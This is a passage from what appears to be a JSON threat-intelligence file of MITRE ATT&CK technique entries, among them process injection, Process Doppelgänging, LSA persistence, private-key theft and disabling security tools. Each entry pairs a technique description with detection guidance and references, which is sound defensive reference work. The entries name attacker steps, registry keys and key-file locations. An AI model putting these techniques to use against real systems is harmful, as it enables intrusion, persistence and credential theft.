are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).\n\nDetection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\n\nPlatforms: macOS\n\nData Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring\n\nPermissions Required: User", - "value": "LC_LOAD_DYLIB Addition - T1161", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1161", - "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf" - ], - "mitre_data_sources": [ - "Binary file metadata", - "Process Monitoring", - "Process command-line parameters", - "File monitoring" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "04ef4356-8926-45e2-9441-634b6f3dcecb" - }, - { - "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., DLL Side-Loading or DLL Search Order Hijacking), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.\n\nDetection: With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, File monitoring, Kernel drivers, Loaded DLLs, Process Monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Vincent Le Toux", - "value": "LSASS Driver - T1177", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1177", - "https://technet.microsoft.com/library/cc961760.aspx", - "https://technet.microsoft.com/library/dn408187.aspx", - "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ], - "mitre_data_sources": [ - "API monitoring", - "DLL monitoring", - "File monitoring", - "Kernel drivers", - "Loaded DLLs", - "Process Monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352" - }, - { - "description": "Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Data Compressed or Data Encrypted.\n\nInteractive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nDetection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "value": "Data Staged - T1074", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1074" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e" - }, - { - "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.\n\nDetection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM", - "value": "New Service - T1050", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1050", - "https://technet.microsoft.com/en-us/library/cc772408.aspx", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ], - "mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "478aa214-2ca7-4ec0-9978-18798e514790" - }, - { - "description": "Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\n\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation.\n\nDetection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used.", - "value": "Network Share Connection Removal - T1126", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1126", - "https://technet.microsoft.com/bb490717.aspx" - ], - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "Packet capture", - "Authentication logs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a" - }, - { - "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on *nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)\n\nDetection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: File monitoring\n\nPermissions Required: User\n\nContributors: Itzik Kotler, SafeBreach", - "value": "Private Keys - T1145", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1145", - "https://en.wikipedia.org/wiki/Public-key%20cryptography", - "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask%20v1.0.pdf", - "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/" - ], - "mitre_data_sources": [ - "File monitoring" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ] - }, - "uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe" - }, - { - "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of Process Injection called Process Doppelgänging. Similar to Process Hollowing, Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.\n\nDetection: Monitor and analyze calls to CreateTranscation, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process Monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User, Administrator, SYSTEM", - "value": "Process Doppelgänging - T1186", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1186", - "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx", - "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx", - "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx", - "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf", - "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/", - "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx" - ], - "mitre_data_sources": [ - "API monitoring", - "Process Monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "c1a452f3-6499-4c12-b7e9-a6a0a102af76" - }, - { - "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE is still enabled in Windows 10 and most of Microsoft Office 2016 (a December 2017 patch created a Registry key that disables DDE in Word by default). (Citation: BleepingComputer DDE Disabled in Word Dec 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014) and used to deliver execution via spear phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.\n\nDetection: OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: User\n\nRemote Support: No", - "value": "Dynamic Data Exchange - T1173", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1173", - "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/", - "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/", - "https://www.contextis.com/blog/comma-separated-vulnerabilities", - "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/", - "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/" - ], - "mitre_data_sources": [ - "API monitoring", - "DLL monitoring", - "Process Monitoring", - "Windows Registry", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" - }, - { - "description": "During the boot process, macOS and Linux both execute source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).\n\nDetection: The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: root", - "value": "Rc.common - T1163", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1163", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" - ], - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ] - }, - "uuid": "18d4ab39-12ed-4a16-9fdb-ae311bba4a0f" - }, - { - "description": "Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n===Windows===\n\nThere are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Engame Process Injection July 2017)\n* '''Dynamic-link library (DLL) injection''' involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.\n* '''Portable executable injection''' involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)\n* '''Thread execution hijacking''' involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.\n* '''Asynchronous Procedure Call''' (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is a variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)\n* '''Thread Local Storage''' (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)\n\n===Mac and Linux===\n\nImplementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)\n*'''LD_PRELOAD, LD_LIBRARY_PATH''' (Linux), '''DYLD_INSERT_LIBRARIES''' (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)\n*'''Ptrace system calls''' can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)\n*'''/proc/[pid]/mem''' provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)\n*'''VDSO hijacking''' performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)\n\nMalware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.\n\nDetection: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)\n\nMonitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)\n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)\n\nMonitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Windows Registry, File monitoring, DLL monitoring, Named Pipes, Process Monitoring\n\nEffective Permissions: User, Administrator, SYSTEM, root\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator, SYSTEM, root\n\nContributors: Anastasios Pingios", - "value": "Process Injection - T1055", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1055", - "https://github.com/mattifestation/PowerSploit", - "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://www.endgame.com/blog/technical-blog/hunting-memory", - "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx", - "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows", - "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx", - "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html", - "https://www.datawire.io/code-injection-on-linux-and-macos/", - "http://hick.org/code/skape/papers/needle.txt", - "http://phrack.org/issues/51/8.html", - "http://vxer.org/lib/vrn00.html", - "https://www.gnu.org/software/acct/", - "https://access.redhat.com/documentation/red%20hat%20enterprise%20linux/6/html/security%20guide/chap-system%20auditing", - "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", - "https://docs.microsoft.com/sysinternals/downloads/sysmon" - ], - "mitre_data_sources": [ - "API monitoring", - "Windows Registry", - "File monitoring", - "DLL monitoring", - "Named Pipes", - "Process Monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" - }, - { - "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.\n\nDetection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator", - "value": "Authentication Package - T1131", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1131", - "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", - "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", - "https://technet.microsoft.com/en-us/library/dn408187.aspx" - ], - "mitre_data_sources": [ - "DLL monitoring", - "Windows Registry", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d" - }, - { - "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.\n\nDetection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes", - "value": "Multilayer Encryption - T1079", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1079", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", - "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html", - "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf" - ], - "mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Malware reverse engineering", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e" - }, - { - "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\n\nPlatforms: Windows\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems\n\nPermissions Required: SYSTEM\n\nSystem Requirements: Ability to update component device firmware from the host operating system.", - "value": "Component Firmware - T1109", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1109" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44" - }, - { - "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n===Windows===\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\nNet can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n===Mac===\n\nOn Mac, locally mounted shares can be viewed with the df -aH command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network\n\nPermissions Required: User", - "value": "Network Share Discovery - T1135", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1135", - "https://en.wikipedia.org/wiki/Shared%20resource", - "https://technet.microsoft.com/library/cc770880.aspx" - ], - "mitre_data_sources": [ - "Process Monitoring", - "Process command-line parameters", - "Network protocol analysis", - "Process use of network" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ] - }, - "uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f" - }, - { - "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)\n\nDetection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: WMI Objects\n\nPermissions Required: Administrator, SYSTEM", - "value": "Windows Management Instrumentation Event Subscription - T1084", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1084", - "https://www.secureworks.com/blog/wmi-persistence", - "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf", - "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ], - "mitre_data_sources": [ - "WMI Objects" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4" - }, - { - "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.\n\nDetection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Anti-virus, File monitoring, Services, Windows Registry, Process command-line parameters\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Signature-based detection, Log analysis", - "value": "Disabling Security Tools - T1089", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1089" - ], - "mitre_data_sources": [ - "API monitoring", - "Anti-virus", - "File monitoring", - "Services", - "Windows Registry", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044" - }, - { - "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nPermissions Required: User, Administrator, SYSTEM", - "value": "Peripheral Device Discovery - T1120", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1120" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643" - }, - { - "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.\n\nDetection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. 